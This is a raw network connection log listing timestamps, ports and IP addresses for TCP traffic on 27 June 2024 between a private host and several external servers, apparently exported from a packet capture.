Jun 27, 2024 06:44:25.656722069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656722069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656728983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656788111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656788111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657002926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657012939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657022953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657033920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657043934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657053947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657054901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657053947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657066107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657075882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657090902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657098055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657100916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657110929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657111883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657120943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657131910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.657144070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657144070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.657188892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:26.352643013 CEST	49723	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:26.357508898 CEST	50500	49723	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:26.413825989 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:26.418740034 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:28.162981987 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.163008928 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:28.163198948 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.166639090 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.166662931 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:28.804569960 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:28.804672003 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.851944923 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.851975918 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:28.852286100 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:28.852348089 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.854183912 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:28.896511078 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.072958946 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.072993040 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.073035002 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.073064089 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.073093891 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:29.073147058 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:29.089359999 CEST	49734	443	192.168.2.5	149.154.167.99
Jun 27, 2024 06:44:29.089382887 CEST	443	49734	149.154.167.99	192.168.2.5
Jun 27, 2024 06:44:29.094038963 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:29.098756075 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:29.099029064 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:29.103952885 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:29.108891010 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:29.430747986 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.435870886 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:29.435919046 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.447261095 CEST	49740	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.452116966 CEST	50500	49740	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:29.452203989 CEST	49740	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.455415964 CEST	49741	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.460841894 CEST	50500	49741	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:29.460908890 CEST	49741	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.465410948 CEST	49741	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.467639923 CEST	49740	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:29.470257044 CEST	50500	49741	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:29.472378016 CEST	50500	49740	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:29.777470112 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:29.777487993 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:29.777538061 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:29.777573109 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.017262936 CEST	50500	49740	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:30.026127100 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.030972004 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:30.039904118 CEST	50500	49741	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:30.118025064 CEST	49740	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:30.149460077 CEST	49741	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:30.225651026 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:30.225840092 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.226201057 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.230961084 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:30.395589113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:30.395668983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:30.675014019 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:30.675071001 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.678864002 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.683751106 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:30.683861971 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.684343100 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:30.689424992 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.329770088 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.329829931 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.330387115 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.332953930 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.335081100 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.337738037 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.985471964 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.985641956 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.990914106 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.991344929 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.996027946 CEST	9000	49737	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.996176004 CEST	49737	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.996346951 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:31.996460915 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:31.996722937 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:32.002006054 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:32.637604952 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:32.637679100 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:32.638271093 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:32.640021086 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:32.643049955 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:32.644820929 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.098597050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:33.149482965 CEST	49740	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:33.154346943 CEST	50500	49740	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:33.165311098 CEST	49741	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:33.170039892 CEST	50500	49741	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:33.284790993 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.284845114 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.284853935 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.284878969 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.284929037 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.286217928 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.286601067 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.291769028 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.291811943 CEST	9000	49748	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.291867018 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.291898012 CEST	49748	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.292174101 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.296968937 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.930697918 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.930766106 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.931113005 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.932888985 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:33.935905933 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:33.937741995 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594357967 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594453096 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.594466925 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594501972 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594517946 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.594537020 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594568968 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594588041 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.594604015 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.594641924 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.594672918 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.596801043 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.597486973 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.601840019 CEST	9000	49750	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.601917982 CEST	49750	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.602308989 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:34.602732897 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.603228092 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:34.608092070 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.263673067 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.263762951 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.264111042 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.265928984 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.268934011 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.270826101 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.801855087 CEST	49755	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:35.806732893 CEST	50500	49755	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:35.806843996 CEST	49755	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:35.823555946 CEST	49755	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:35.828886986 CEST	50500	49755	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:35.921468019 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.921578884 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.991241932 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.991636992 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.996686935 CEST	9000	49752	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.996774912 CEST	49752	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.996980906 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:35.997047901 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:35.997282982 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.002506018 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.355417013 CEST	50500	49755	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:36.399390936 CEST	49755	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:36.639116049 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.639214993 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.641211987 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.641211987 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.641386986 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.646137953 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646167994 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646220922 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646315098 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646342039 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646464109 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646491051 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.646523952 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.977801085 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.981671095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.983153105 CEST	9000	49754	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.983242989 CEST	49754	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.986713886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:36.987143040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.990994930 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:36.995836020 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.270229101 CEST	9000	49756	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.275010109 CEST	49756	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.634824991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.634903908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.635217905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.636837006 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.640104055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.641697884 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970630884 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970680952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970716000 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970717907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970748901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970752001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970760107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970796108 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970799923 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970834017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970846891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970866919 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970900059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970906973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970935106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.970935106 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.970988989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.971024990 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.971038103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.971364021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.971575022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.975946903 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.975977898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:37.976012945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:37.976032019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.059178114 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.059226036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.059262991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.059262991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.068386078 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.068438053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.072784901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.073003054 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.073081017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.073132038 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.076390028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.076423883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.076457024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.076464891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.076494932 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.076505899 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.083663940 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.083699942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.083720922 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.083734989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.083736897 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.083777905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.085386038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.085421085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.085437059 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.085453033 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.085464001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.085494995 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.092329025 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.092437029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.092444897 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.092478037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.092509031 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.092538118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.092581987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.099303007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.099337101 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.099370003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.099394083 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.099416018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.105796099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.105828047 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.105879068 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.105885029 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.105901003 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.105907917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.105923891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.105998993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.112670898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.112728119 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.112761021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.112778902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.113040924 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.120048046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.120083094 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.120111942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.120115042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.120125055 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.120157003 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.126475096 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.126528978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.126552105 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.126571894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.156996965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.157032013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.157052994 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.157066107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.157083035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.157104015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.157109976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.157150030 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.166156054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.166189909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.166223049 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.166248083 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.166265965 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.169636011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.169668913 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.169701099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.169714928 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.169733047 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.169739008 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.176431894 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.176491022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.176501036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.176536083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.176558018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.176575899 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.183448076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.183481932 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.183509111 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.183516026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.183523893 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.183554888 CEST	49757	9000	192.168.2.5	49.13.33.235
